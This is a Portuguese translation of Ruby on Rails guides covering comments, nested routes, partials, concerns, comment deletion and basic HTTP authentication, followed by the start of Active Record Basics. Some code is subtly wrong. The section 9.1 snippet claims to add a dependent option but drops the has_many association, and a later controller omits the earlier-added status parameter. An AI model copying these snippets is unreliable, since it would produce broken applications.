De fato, essa sintaxe é muito similar à utilizada pelo Rails para declarar essa associação. Você já viu a linha de código dentro do model Comment (app/models/comment.rb) que faz com que cada comentário pertença a um Artigo:

class Comment < ApplicationRecord
belongs_to :article
end

class Comment < ApplicationRecord belongs_to :article end Copiar

Você vai precisar editar o arquivo app/models/article.rb para adicionar o outro lado da associação:

class Article < ApplicationRecord
has_many :comments

validates :title, presence: true
validates :body, presence: true, length: { minimum: 10 }
end

class Article < ApplicationRecord has_many :comments validates :title, presence: true validates :body, presence: true, length: { minimum: 10 } end Copiar

Estas duas declarações habilitam uma boa parte de comportamento automático. Por exemplo, se você possui uma instância da variável @article que contém um artigo, você pode recuperar todos os comentários pertencentes àquele artigo na forma de um array usando @article.comments.

Para mais informações sobre associações do Active Record, veja o guia Associações no Active Record.

7.3 Adicionando a Rota para Comentários

Da mesma forma que o controller articles, nós vamos precisar adicionar a rota para que o Rails saiba para onde queremos navegar para encontrar comments. Abra o arquivo config/routes.rb novamente e o edite da seguinte maneira:

Rails.application.routes.draw do
root "articles#index"

resources :articles do
resources :comments
end
end

Rails.application.routes.draw do root "articles#index" resources :articles do resources :comments end end Copiar

Isso cria comments como um recurso aninhado (nested resource) dentro de article. Essa é outra parte do processo para recuperar as relações hierárquicas que existem entre artigos e comentários.

Para mais informações sobre rotas, veja o guia Roteamento no Rails

7.4 Gerando um Controller

Com o model em mãos, você pode voltar sua atenção para a criação do controller correspondente. Mais uma vez, você vai usar o generator usado anteriormente:

$ bin/rails generate controller Comments

bin/rails generate controller Comments Copiar

Isso cria quatro arquivos e um diretório vazio:

Arquivo/Diretório

Propósito

app/controllers/comments_controller.rb

O controller de comentários

app/views/comments/

Views do controller são armazenadas aqui

test/controllers/comments_controller_test.rb

O teste para o controller

app/helpers/comments_helper.rb

Arquivo de helpers da view

app/assets/stylesheets/comments.scss

Cascading style sheet (CSS) para o controller

Como em qualquer blog, nossos leitores vão criar seus comentários diretamente depois de lerem o artigo e, uma vez que adicionarem o comentário, serão enviados de volta para a página show do artigo para verem o comentário agora listado. Por essa razão, nosso CommentsController está aqui para fornecer um método que cria comentários e deleta comentários spam quando chegarem.

Então, primeiro nós vamos ligar o show template para Artigos (app/views/articles/show.html.erb) para que possamos criar um novo comentários:

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
<li><%= link_to "Edit", edit_article_path(@article) %></li>
<li><%= link_to "Destroy", article_path(@article),
method: :delete,
data: { confirm: "Are you sure?" } %></li>
</ul>

<h2>Add a comment:</h2>
<%= form_with model: [ @article, @article.comments.build ] do |form| %>
<p>
<%= form.label :commenter %><br>
<%= form.text_field :commenter %>
</p>
<p>
<%= form.label :body %><br>
<%= form.text_area :body %>
</p>
<p>
<%= form.submit %>
</p>
<% end %>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> <ul> <li><%= link_to "Edit", edit_article_path(@article) %></li> <li><%= link_to "Destroy", article_path(@article), method: :delete, data: { confirm: "Are you sure?" } %></li> </ul> <h2>Add a comment:</h2> <%= form_with model: [ @article, @article.comments.build ] do |form| %> <p> <%= form.label :commenter %><br> <%= form.text_field :commenter %> </p> <p> <%= form.label :body %><br> <%= form.text_area :body %> </p> <p> <%= form.submit %> </p> <% end %> Copiar

Isso adiciona na página show do Article um formulário que cria um novo comentário chamando a action create no CommentsController. O form_with aqui usa um array que vai construir uma rota aninhada, como /articles/1/comments.

Vamos ligar a action create em app/controllers/comments_controller.rb:

class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end

private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end

class CommentsController < ApplicationController def create @article = Article.find(params[:article_id]) @comment = @article.comments.create(comment_params) redirect_to article_path(@article) end private def comment_params params.require(:comment).permit(:commenter, :body) end end Copiar

Você verá um pouco mais de complexidade aqui do que no controller para artigos. Esse é o efeito colateral do aninhamento que você configurou. Cada requisição para um comentário deve lembrar o artigo ao qual o comentário está anexado, para que a chamada inicial do método find do model Article encontre o artigo em questão.

Além disso, o código aproveita-se de alguns métodos disponíveis para uma associação. Nós usamos o método create em @article.comments para criar e salvar um comentário. Isso vai automaticamente conectar o comentário para que ele pertença àquele artigo em particular.

Uma vez que temos um novo comentário, nós enviamos o usuário de volta ao artigo original usando o helper article_path(@article). Como já vimos anteriormente, isso chama a action show do ArticlesController que por sua vez renderiza o template show.html.erb. É aqui que queremos que o comentário apareça, então vamos adicionar isso ao arquivo app/views/articles/show.html.erb.

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
<li><%= link_to "Edit", edit_article_path(@article) %></li>
<li><%= link_to "Destroy", article_path(@article),
method: :delete,
data: { confirm: "Are you sure?" } %></li>
</ul>

<h2>Comments</h2>
<% @article.comments.each do |comment| %>
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>

<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>
<% end %>

<h2>Add a comment:</h2>
<%= form_with model: [ @article, @article.comments.build ] do |form| %>
<p>
<%= form.label :commenter %><br>
<%= form.text_field :commenter %>
</p>
<p>
<%= form.label :body %><br>
<%= form.text_area :body %>
</p>
<p>
<%= form.submit %>
</p>
<% end %>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> <ul> <li><%= link_to "Edit", edit_article_path(@article) %></li> <li><%= link_to "Destroy", article_path(@article), method: :delete, data: { confirm: "Are you sure?" } %></li> </ul> <h2>Comments</h2> <% @article.comments.each do |comment| %> <p> <strong>Commenter:</strong> <%= comment.commenter %> </p> <p> <strong>Comment:</strong> <%= comment.body %> </p> <% end %> <h2>Add a comment:</h2> <%= form_with model: [ @article, @article.comments.build ] do |form| %> <p> <%= form.label :commenter %><br> <%= form.text_field :commenter %> </p> <p> <%= form.label :body %><br> <%= form.text_area :body %> </p> <p> <%= form.submit %> </p> <% end %> Copiar

Agora podemos adicionar artigos e comentários ao seu blog e mostrá-los nos lugares certos.

8 Refatorando

Agora que nossos artigos e comentários funcionam, dê uma olhada no template app/views/articles/show.html.erb. Ele está ficando longo e esquisito. Nós podemos usar partials (views parciais) para melhorá-lo.

8.1 Renderizando Coleções de Partials

Primeiramente, nós vamos criar uma partial para extrair a exibição de todos os comentários para o artigo. Crie o arquivo app/views/comments/_comment.html.erb e insira o código a seguir:

<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>

<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>

<p> <strong>Commenter:</strong> <%= comment.commenter %> </p> <p> <strong>Comment:</strong> <%= comment.body %> </p> Copiar

Então você pode mudar app/views/articles/show.html.erb para o seguinte código:

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
<li><%= link_to "Edit", edit_article_path(@article) %></li>
<li><%= link_to "Destroy", article_path(@article),
method: :delete,
data: { confirm: "Are you sure?" } %></li>
</ul>

<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= form_with model: [ @article, @article.comments.build ] do |form| %>
<p>
<%= form.label :commenter %><br>
<%= form.text_field :commenter %>
</p>
<p>
<%= form.label :body %><br>
<%= form.text_area :body %>
</p>
<p>
<%= form.submit %>
</p>
<% end %>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> <ul> <li><%= link_to "Edit", edit_article_path(@article) %></li> <li><%= link_to "Destroy", article_path(@article), method: :delete, data: { confirm: "Are you sure?" } %></li> </ul> <h2>Comments</h2> <%= render @article.comments %> <h2>Add a comment:</h2> <%= form_with model: [ @article, @article.comments.build ] do |form| %> <p> <%= form.label :commenter %><br> <%= form.text_field :commenter %> </p> <p> <%= form.label :body %><br> <%= form.text_area :body %> </p> <p> <%= form.submit %> </p> <% end %> Copiar

Isso fará com que a partial seja renderizada em app/views/comments/_comment.html.erb uma vez para cada comentário na coleção @article.comments. Como o método render itera sobre a coleção @article.comments, ele designa cada comentário para uma variável local nomeada como a partial, nesse caso comment, que então fica disponível para ser exibida na partial.

8.2 Renderizando um Formulário com Partial

Agora vamos mover aquela nova seção de comentários para sua própria partial. Novamente, crie o arquivo app/viewscomments/_form.html.erb contendo:

<%= form_with model: [ @article, @article.comments.build ] do |form| %>
<p>
<%= form.label :commenter %><br>
<%= form.text_field :commenter %>
</p>
<p>
<%= form.label :body %><br>
<%= form.text_area :body %>
</p>
<p>
<%= form.submit %>
</p>
<% end %>

<%= form_with model: [ @article, @article.comments.build ] do |form| %> <p> <%= form.label :commenter %><br> <%= form.text_field :commenter %> </p> <p> <%= form.label :body %><br> <%= form.text_area :body %> </p> <p> <%= form.submit %> </p> <% end %> Copiar

Então deixe o arquivo app/views/articles/show.html.erb assim:

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
<li><%= link_to "Edit", edit_article_path(@article) %></li>
<li><%= link_to "Destroy", article_path(@article),
method: :delete,
data: { confirm: "Are you sure?" } %></li>
</ul>

<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= render 'comments/form' %>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> <ul> <li><%= link_to "Edit", edit_article_path(@article) %></li> <li><%= link_to "Destroy", article_path(@article), method: :delete, data: { confirm: "Are you sure?" } %></li> </ul> <h2>Comments</h2> <%= render @article.comments %> <h2>Add a comment:</h2> <%= render 'comments/form' %> Copiar

O segundo render apenas define o template de partial que queremos renderizar, comments/form. O Rails é inteligente o suficiente para entender a barra nessa string e perceber que você quer renderizar o arquivo _form.html.erb no diretório app/views/comments.

O objeto @article está disponível para todas as partials renderizadas na view porque o definimos como uma variável de instância.

8.3 Usando Concerns

Concerns são uma forma de tornar grandes controllers ou models mais fáceis de entender e gerenciar. Isso também tem a vantagem de ser reutilizável quando vários models (ou controllers) compartilham as mesmas preocupações. As concerns são implementadas usando módulos (module) que contêm métodos que representam uma fatia bem definida da funcionalidade pela qual um model ou controller é responsável. Em outras linguagens, os módulos costumam ser conhecidos como mixins.

Você pode usar as concerns em seu controller ou model da mesma forma que usaria qualquer módulo. Quando você criou sua aplicação pela primeira vez com rails new blog, duas pastas foram criadas dentro de app/ junto com o resto:

app/controllers/concerns
app/models/concerns

app/controllers/concerns app/models/concerns Copiar

Um determinado artigo do blog pode ter vários status - por exemplo, pode ser visível para todos (ou seja, public), ou visível apenas para o autor (ou seja, private). Também pode estar oculto para todos, mas ainda pode ser recuperado (ou seja, archived). Os comentários também podem estar ocultos ou visíveis. Isso pode ser representado usando uma coluna status em cada um dos models.

Dentro do model article, após executar uma migration para adicionar uma coluna status, você pode adicionar:

class Article < ApplicationRecord
has_many :comments

validates :title, presence: true
validates :body, presence: true, length: { minimum: 10 }

VALID_STATUSES = ['public', 'private', 'archived']

validates :status, inclusion: { in: VALID_STATUSES }

def archived?
status == 'archived'
end
end

class Article < ApplicationRecord has_many :comments validates :title, presence: true validates :body, presence: true, length: { minimum: 10 } VALID_STATUSES = ['public', 'private', 'archived'] validates :status, inclusion: { in: VALID_STATUSES } def archived? status == 'archived' end end Copiar

e no model Comment:

class Comment < ApplicationRecord
belongs_to :article

VALID_STATUSES = ['public', 'private', 'archived']

validates :status, inclusion: { in: VALID_STATUSES }

def archived?
status == 'archived'
end
end

class Comment < ApplicationRecord belongs_to :article VALID_STATUSES = ['public', 'private', 'archived'] validates :status, inclusion: { in: VALID_STATUSES } def archived? status == 'archived' end end Copiar

Então, em nossa action index (app/views/articles/index.html.erb), usaríamos o método archived? Para evitar a exibição de qualquer artigo que está arquivado:

<h1>Articles</h1>

<ul>
<% @articles.each do |article| %>
<% unless article.archived? %>
<li>
<%= link_to article.title, article %>
</li>
<% end %>
<% end %>
</ul>

<%= link_to "New Article", new_article_path %>

<h1>Articles</h1> <ul> <% @articles.each do |article| %> <% unless article.archived? %> <li> <%= link_to article.title, article %> </li> <% end %> <% end %> </ul> <%= link_to "New Article", new_article_path %> Copiar

No entanto, se você olhar novamente para nossos models agora, pode ver que a lógica está duplicada. Se, no futuro, aumentarmos a funcionalidade do nosso blog - para incluir mensagens privadas, por exemplo - podemos ver a duplicação de lógica mais uma vez. É aqui que as concerns são úteis.

Uma concerns é responsável apenas por um subconjunto específico da responsabilidade do model; os métodos na nossa concern estarão todos relacionados à visibilidade de um model. Vamos chamar nossa nova concern (módulo) de Visible. Podemos criar um novo arquivo dentro de app/models/concerns chamadovisible.rb, e armazenar todos os métodos de status que foram duplicados nos models.

app/models/concerns/visible.rb

module Visible
def archived?
status == 'archived'
end
end

module Visible def archived? status == 'archived' end end Copiar

Podemos adicionar nossa validação de status à concern, mas isso é um pouco mais complexo, pois as validações são métodos chamados no nível da classe. O ActiveSupport::Concern (API Guide) nos dá uma maneira mais simples de incluí-los:

module Visible
extend ActiveSupport::Concern

VALID_STATUSES = ['public', 'private', 'archived']

included do
validates :status, inclusion: { in: VALID_STATUSES }
end

def archived?
status == 'archived'
end
end

module Visible extend ActiveSupport::Concern VALID_STATUSES = ['public', 'private', 'archived'] included do validates :status, inclusion: { in: VALID_STATUSES } end def archived? status == 'archived' end end Copiar

Agora, podemos remover a lógica duplicada de cada model e, em vez disso, incluir nosso novo módulo Visible:

Em app/models/article.rb:

class Article < ApplicationRecord
include Visible
has_many :comments

validates :title, presence: true
validates :body, presence: true, length: { minimum: 10 }
end

class Article < ApplicationRecord include Visible has_many :comments validates :title, presence: true validates :body, presence: true, length: { minimum: 10 } end Copiar

e em app/models/comment.rb:

class Comment < ApplicationRecord
include Visible
belongs_to :article
end

class Comment < ApplicationRecord include Visible belongs_to :article end Copiar

Os métodos de classe também podem ser adicionados às concerns. Se quisermos que uma contagem de artigos públicos ou comentários sejam exibidos em nossa página principal, podemos adicionar um método de classe a Visible da seguinte maneira:

module Visible
extend ActiveSupport::Concern

VALID_STATUSES = ['public', 'private', 'archived']

included do
validates :status, inclusion: { in: VALID_STATUSES }
end

class_methods do
def public_count
where(status: 'public').count
end
end

def archived?
status == 'archived'
end
end

module Visible extend ActiveSupport::Concern VALID_STATUSES = ['public', 'private', 'archived'] included do validates :status, inclusion: { in: VALID_STATUSES } end class_methods do def public_count where(status: 'public').count end end def archived? status == 'archived' end end Copiar

Então, na view, você pode chamá-lo como qualquer método de classe:

<h1>Articles</h1>

Our blog has <%= Article.public_count %> articles and counting!

<ul>
<% @articles.each do |article| %>
<li>
<%= link_to article.title, article %>
</li>
<% end %>
</ul>

<%= link_to "New Article", new_article_path %>

<h1>Articles</h1> Our blog has <%= Article.public_count %> articles and counting! <ul> <% @articles.each do |article| %> <li> <%= link_to article.title, article %> </li> <% end %> </ul> <%= link_to "New Article", new_article_path %> Copiar

Existem mais algumas etapas a serem realizadas antes que nossa aplicaçãi funcione com a adição da coluna status. Primeiro, vamos executar as seguintes migrations para adicionar status aos Articles e Comments:

$ bin/rails generate migration AddStatusToArticles status:string
$ bin/rails generate migration AddStatusToComments status:string

bin/rails generate migration AddStatusToArticles status:string bin/rails generate migration AddStatusToComments status:string Copiar

Para aprender mais sobre migrations, veja em Active Record Migrations.

Também temos que permitir a chave :status como parte do parâmetro (usando strong parameters), em app/controllers/articles_controller.rb:

private
def article_params
params.require(:article).permit(:title, :body, :status)
end

private def article_params params.require(:article).permit(:title, :body, :status) end Copiar

e em app/controllers/comments_controller.rb:

private
def comment_params
params.require(:comment).permit(:commenter, :body, :status)
end

private def comment_params params.require(:comment).permit(:commenter, :body, :status) end Copiar

Para finalizar, adicionaremos uma caixa de seleção aos formulários e permitiremos que o usuário selecione o status ao criar um novo artigo ou postar um novo comentário. Também podemos especificar o status padrão como public. Em app/views/articles/_form.html.erb, podemos adicionar:

<div>
<%= form.label :status %><br>
<%= form.select :status, ['public', 'private', 'archived'], selected: 'public' %>
</div>

<div> <%= form.label :status %><br> <%= form.select :status, ['public', 'private', 'archived'], selected: 'public' %> </div> Copiar

e em app/views/comments/_form.html.erb:

<p>
<%= form.label :status %><br>
<%= form.select :status, ['public', 'private', 'archived'], selected: 'public' %>
</p>

<p> <%= form.label :status %><br> <%= form.select :status, ['public', 'private', 'archived'], selected: 'public' %> </p> Copiar

9 Deletando Comentários

Outra importante feature de um blog é excluir comentários de spam. Para fazer isto, nós precisamos implementar um link de alguma view e uma action destroy no CommentsController.

Primeiro, vamos adicionar o link delete na partial app/views/comments/_comment.html.erb:

<p>
<strong>Autor do comentário:</strong>
<%= comment.commenter %>
</p>

<p>
<strong>Comentário:</strong>
<%= comment.body %>
</p>

<p>
<%= link_to 'Destruir comentário', [comment.article, comment],
method: :delete,
data: { confirm: "Are you sure?" } %>
</p>

<p> <strong>Autor do comentário:</strong> <%= comment.commenter %> </p> <p> <strong>Comentário:</strong> <%= comment.body %> </p> <p> <%= link_to 'Destruir comentário', [comment.article, comment], method: :delete, data: { confirm: "Are you sure?" } %> </p> Copiar

Clicar neste novo link "Destruir comentário" será disparado um DELETE /articles/:article_id/comments/:id ao nosso CommentsController, que pode ser usar isso para encontrar o comentário que queremos excluir, então vamos adicionar uma ação destroy ao nosso controller (app/controllers/comments_controller.rb):

class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end

def destroy
@article = Article.find(params[:article_id])
@comment = @article.comments.find(params[:id])
@comment.destroy
redirect_to article_path(@article)
end

private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end

class CommentsController < ApplicationController def create @article = Article.find(params[:article_id]) @comment = @article.comments.create(comment_params) redirect_to article_path(@article) end def destroy @article = Article.find(params[:article_id]) @comment = @article.comments.find(params[:id]) @comment.destroy redirect_to article_path(@article) end private def comment_params params.require(:comment).permit(:commenter, :body) end end Copiar

A action destroy vai encontrar o artigo que estamos vendo, localizar o comentário na collection @article.comments, removê-lo do seu banco de dados e nos enviar de volta para a action show do artigo.

9.1 Excluindo objetos associados

Se você excluir um artigo, os comentários (comments) associados também precisarão ser excluídos, caso contrário, eles simplesmente ocupariam espaço no banco de dados. O Rails permite que você use a opção dependent de uma associação para conseguir isso. Modifique o Modelo de artigo (article), app/models/article.rb, da seguinte forma:

class Article < ApplicationRecord
include Visible

validates :title, presence: true
validates :body, presence: true, length: { minimum: 10 }
end

class Article < ApplicationRecord include Visible validates :title, presence: true validates :body, presence: true, length: { minimum: 10 } end Copiar

10 Segurança

10.1 Autenticação Básica

Se fosse fosse publicar o seu blog online, qualquer um poderia adicionar, editar e deletar seus artigos ou comentários.

O Rails disponibiliza um sistema de autenticação HTTP que funcionará tranquilamente nesta situação.

No ArticlesController nós precisamos que tenha um meio de bloquear o acesso à várias ações se uma pessoa não estiver autenticada. Aqui podemos usar o método http_basic_authenticate_with, que permite o acesso para a ação requisitada se o método deixar.

Para usar o sistema de autenticação, nós especificamos no topo do nosso ArticlesController em app/controllers/articles_controller.rb. No nosso caso, nós queremos que o usuário esteja autenticado em todas as ações, exceto index e show, então nós colocamos isso:

class ArticlesController < ApplicationController

http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]

def index
@articles = Article.all
end

# snippet for brevity

class ArticlesController < ApplicationController http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show] def index @articles = Article.all end # snippet for brevity Copiar

Nós também queremos autorizar somente usuários autenticados a deletar comentários, então em CommentsController (app/controllers/comments_controller.rb) nós colocamos:

class CommentsController < ApplicationController

http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy

def create
@article = Article.find(params[:article_id])
# ...
end

# snippet for brevity

class CommentsController < ApplicationController http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy def create @article = Article.find(params[:article_id]) # ... end # snippet for brevity Copiar

Agora se você tentar criar um novo artigo, você deverá preencher um formulário de autenticação:

Outros métodos de autenticação estão disponíveis para aplicações Rails. Dois add-ons de autenticação populares para Rails são o Devise e o Authlogic entre outros.

10.2 Outras Considerações de Segurança

Segurança, especialmente em aplicações web, é uma area ampla e detalhada. O tópico de segurança aplicações Rails é coberto com mais detalhes em Guia de Segurança Ruby on Rails.

11 O que vem depois?

Agora que você criou sua primeira aplicação Rails, sinta-se à vontade para atualizar e experimentar por conta própria.

Lembre-se, você não precisa fazer tudo sem ajuda. Se você precisa de assistência para começar a desenvolver com Rails, sinta-se à vontade para consultar estes recursos:

- O Guia Rails

- O Ruby on Rails Guides

- A lista de discussão do Ruby on Rails

- O canal #rubyonrails no irc.freenode.net

12 Dicas de Configuração

O caminho mais fácil para se trabalhar com o Rails é armazenar todos os dados externos como UTF-8. Se não fizer assim, as bibliotecas Ruby e o Rails vão, na maioria das vezes, conseguir converter seus dados nativos em UTF-8, porém não é sempre que isso funciona corretamente, então é melhor que você assegure que todos seus dados externos estão em UTF-8.

Caso tenha cometido um erro nessa parte, o sintoma mais comum é o aparecimento de um diamante preto com um ponto de interrogação dentro no seu navegador. Outro sintoma comum é o aparecimento de caracteres como "Ã¼" ao invés de "ü". O Rails executa um número de passos internos para mitigar causas comuns desses problemas que possam ser detectadas e corrigidas automaticamente. Porém, caso você possua dados externos que não estão armazenados como UTF-8, eles poderão ocasionalmente resultar em problemas que não podem ser detectados e nem resolvidos de forma automática pelo Rails.

Duas fontes muito comuns de dados que não estão em UTF-8 são:

- Seu editor de texto: A maioria dos editores de texto (como o TextMate), salvam os arquivos em UTF-8 de forma padrão. Caso o seu editor de texto não salve, isso pode resultar em caracteres especiais inseridos por você nos seus templates (como por exemplo: é) aparecerem no navegador como um diamante com um ponto de interrogação dentro. Isso também se aplica aos seus arquivos de tradução i18n. Muitos editores que não salvam em UTF-8 por padrão (como algumas versões do Dreamweaver) oferecem uma forma de alterar o padrão para UTF-8. Faça isso.

- Seu banco de dados: o Rails converte seus dados do banco de dados em UTF-8 de forma padrão. Porém, se seu banco de dados não está utilizando UTF-8 internamente, pode ser que não consiga armazenar todos os caracteres que seus usuários insiram. Por exemplo, se seu banco de dados está utilizando Latin-1 internamente, e seu usuário inserir um caractere russo, hebraico ou japonês, os dados serão perdidos para sempre assim que entrarem no banco de dados. Se possível, utilize UTF-8 como padrão de armazenamento para o seu banco de dados.

Básico do Active Record — Ruby on...

1 O que é Active Record?

Active Record é o M em MVC - o model - que é a camada do sistema responsável pela representação da lógica e dados de negócio. O Active Record facilita a criação e uso de objetos de negócio cujos dados precisam ser persistidos num banco. Essa é uma implementação do padrão do Active Record que por si só é a descrição de um sistema de Mapeamento Objeto-Relacional (Object Relational Mapping).

1.1 O Padrão Active Record

O Active Record foi descrito por Martin Fowler no seu livro Patterns of Enterprise Application Architecture. No Active Record, objetos possuem ambos dados persistentes e comportamento que opera nesse dado. A filosofia do Active Record consiste em assegurar que lógica de acesso a dados seja parte do objeto, e que o uso deste objeto vai permitir deduzir como escrever e ler o banco de dados.

1.2 Mapeamento Objeto-Relacional (Object Relational Mapping)

Mapeamento Objeto-Relacional, comumente referido na sua abreviação ORM, é a técnica que conecta os objetos de uma aplicação a tabelas em uma tabela de um banco de dados relacional de um sistema de gerenciamento. Usando ORM, as propriedades e relações entre objetos e a aplicação podem facilmente ser armazenadas e recuperadas do banco de dados sem a necessidade de escrever comandos SQL diretamente e com menos código de acesso ao banco de maneira geral.

Conhecimentos básicos de sistemas de gerenciamento de bancos de dados relacionais (sigla em inglês: RDBMS) e structured query language (SQL) são úteis para compreender inteiramente o Active Record. Por favor, refira a este tutorial (ou este) ou estude por outros meios se quiser aprender mais.

1.3 Active Record como um Framework ORM

Active Record fornece diversos mecanismos, sendo o mais importante a habilidade de:

- Representar models e seus dados.

- Representar associações entre estes models.

- Representar hierarquia de heranças pelos models.

- Validar models antes que sejam persistidos no banco de dados.

- Executar operações nos bancos de dados de maneira orientada a objetos.

2 Convenção sobre configuração no Active Record

Quando escrevemos aplicações usando outras linguagens de programação ou frameworks, pode ser necessário escrever muito código de configuração. Isto é particularmente verdadeiro para frameworks ORM em geral. Entretanto, se você seguir as convenções adotadas pelo Rails, será necessário escrever pouco código de configuração (em alguns casos, nenhum) quando criar models do Active Record. A idéia por trás disso é que se você configura a sua aplicação da mesma forma na maior parte da vezes, ela deveria ser a forma padrão. Então, configuração explícita faz-se necessária somente em casos que você não pode seguir a convenção padrão.

2.1 Convenções para nomeação

Por padrão, o Active Record usa algumas definições de nomeação para descobrir como o mapeamento entre models e tabelas do banco de dados será criado. O Rails irá pluralizar o nome da sua classe para encontrar a sua respectiva tabela no banco de dados. Sendo assim, para a classe Book (livro), você deverá ter uma tabela no banco de dados chamada books (livros). Os mecanismos de pluralização do Rails são muito poderosos, sendo capazes de pluralizar (e singularizar) palavras regulares e irregulares. Quando usamos nomes de classes compostas por duas ou mais palavras, o nome do seu model deve seguir a convenção do Ruby, utilizando CamelCase, enquanto a tabela deve separar as palavras utilizando o caracter sublinhado. Exemplos:

- Model - Escrito no singular capitalizando a primeira letra de cada palavra (p. ex., BookClub)

- Tabela no banco de dados - Escrito no plural separando cada palavra com sublinhado (p. ex. book_clubs)

Model / Classe

Tabela / Schema

Article

articles

LineItem

line_items

Deer

deers

Mouse

mice

Person

people

2.2 Convenções de schema (esquema)

O Active Record utiliza convenções de nomeação para as colunas em tabelas de banco de dados, dependendo do seu propósito.

- Chaves estrangeiras - Esses campos devem seguir o padrão de nomeação nome_da_tabela_no_singular_id (p. ex., item_id, pedido_id). O Active Record irá buscar por esses campos quando você criar associações entre os seus models.

- Chaves primárias - Por padrão, o Active Record utiliza uma coluna do tipo inteiro chamada id como a chave primária da tabela (bigint para PostgreSQL e MySQL, integer para SQLite). Quando você usa as Migrations do Active Record para criar suas tabelas, essa coluna será criada automaticamente.

Existem outros nomes de colunas opcionais que vão adicionar alguns comportamentos adicionais para instâncias do Active Record.

- created_at - Automaticamente informado com a data e hora atual de quando o registro foi criado.

- updated_at - Automaticamente informado com a data e hora atual de quando o registor foi criado ou atualizado.

- lock_version - Adiciona bloqueio otimista para um model.

- type - Especifica que um model utiliza Herança de tabela única.

- (nome_da_associacao)_type - Armazena o tipo associação polimórfica.

- (nome_da_tabela)_count - Usado para cachear o número de objetos vinculados em uma associação. Por exemplo, uma coluna comentarios_count em uma classe Artigo que possui várias instâncias de Comentario vai cachear o número de comentários existentes para cada artigo.

Apesar de essas colunas serem opcionais, elas estão em fato reservadas pelo Active Record. Evite utilizar palavras-chave reservadas a não ser que você deseje a funcionalidade adicional. Por exemplo, type é uma palavra-chave reservada para designar que uma tabela está usando Herança de tabela única (STI). Se você não está utilizando STI, tente utilizar análogos como context, que ainda descrevem de forma correta o tipo de dado que você está modelando.

3 Criando Models do Active Record

Para criar models do Active Record, use a subclasse ApplicationRecord e você está pronto para começar:

class Product < ApplicationRecord
end

class Product < ApplicationRecord end Copiar

Isso criará o model Product, mapeado em uma tabela products na base de dados. Fazendo isso, você também possuirá a habilidade de mapear as colunas de cada linha da tabela com os atributos das instâncias do seu model. Suponha que a tabela products foi criada usando uma declaração SQL (ou uma de suas extensões) como:

CREATE TABLE products (
id int(11) NOT NULL auto_increment,
name varchar(255),
PRIMARY KEY  (id)
);

CREATE TABLE products ( id int(11) NOT NULL auto_increment, name varchar(255), PRIMARY KEY (id) ); Copiar

O esquema acima declara uma tabela com duas colunas: id e name. Cada uma das linhas dessa tabela representa um certo produto com dois parâmetros. Portanto, você será capaz de escrever códigos como o seguinte:

p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"

p = Product.new p.name = "Some Book" puts p.name # "Some Book" Copiar

4 Sobrepondo Conveções de Nomes

E se você precisar seguir convenções diferentes ou usar sua aplicação Rails com um banco de dados legado? Sem problemas, você pode facilmente sobrepor as convenções padrão.

ApplicationRecord herda de ActiveRecord::Base, que define vários métodos úteis. Você pode usar o método ActiveRecord::Base.table_name= para especificar o nome da tabela que deve ser usada:

class Product < ApplicationRecord
self.table_name = "my_products"
end

class Product < ApplicationRecord self.table_name = "my_products" end Copiar

Se assim o fizer, você tem que definir manualmente o nome da classe que hospeda as fixtures (my_products.yml) usando o método set_fixture_class na definição do seu teste:

class ProductTest < ActiveSupport::TestCase
set_fixture_class my_products: Product
fixtures :my_products
# ...
end

class ProductTest < ActiveSupport::TestCase set_fixture_class my_products: Product fixtures :my_products # ... end Copiar

É possível sobrepor a coluna que deve ser usada como chave primária da tabela usando o método ActiveRecord::Base.primary_key= method:

class Product < ApplicationRecord
self.primary_key = "product_id"
end

class Product < ApplicationRecord self.primary_key = "product_id" end Copiar

O Active Record não suporta o uso de colunas que não são do tipo chave primária nomeadas id.

5 CRUD: Lendo e Escrevendo Dados

CRUD é um acrônimo para os quatro verbos que utilizamos na operação dos dados: Create (criar), Read (ler, consultar), Update (atualizar) e Delete (deletar, destruir). O Active Record criará, automaticamente, métodos que permitem uma aplicação ler e manipular dados armazenados em suas tabelas.

5.1 Create

Os objetos do Active Record podem ser criados a partir de um hash, um bloco ou ter seus atributos definidos manualmente após a criação. O método new retornará um novo objeto, enquanto create retornará o objeto e o salvará no banco de dados.

Por exemplo, dado um model User com os atributos name e occupation, chamando o método create criará e salvará um novo registro no banco de dados:

user = User.create(name: "David", occupation: "Code Artist")

user = User.create(name: "David", occupation: "Code Artist") Copiar

Usando o método new, um objeto pode ser instanciado sem ser salvo:

user = User.new
user.name = "David"
user.occupation = "Code Artist"

user = User.new user.name = "David" user.occupation = "Code Artist" Copiar

Uma chamada para user.save salvará o registro no banco de dados.

Finalmente, se um bloco for fornecido, ambos create e new passarão o novo objeto para aquele bloco executar a inicialização:

user = User.new do |u|
u.name = "David"
u.occupation = "Code Artist"
end

user = User.new do |u| u.name = "David" u.occupation = "Code Artist" end Copiar

5.2 Read

O Active Record fornece uma API rica para acessar dados no banco de dados. Abaixo temos alguns exemplos de diferentes métodos para acessar os dados fornecidos pelo Active Record.

# retorna uma coleção com todos os usuários
users = User.all

# retorna uma coleção com todos os usuários users = User.all Copiar

# retorna o primeiro usuário da lista
user = User.first

# retorna o primeiro usuário da lista user = User.first Copiar

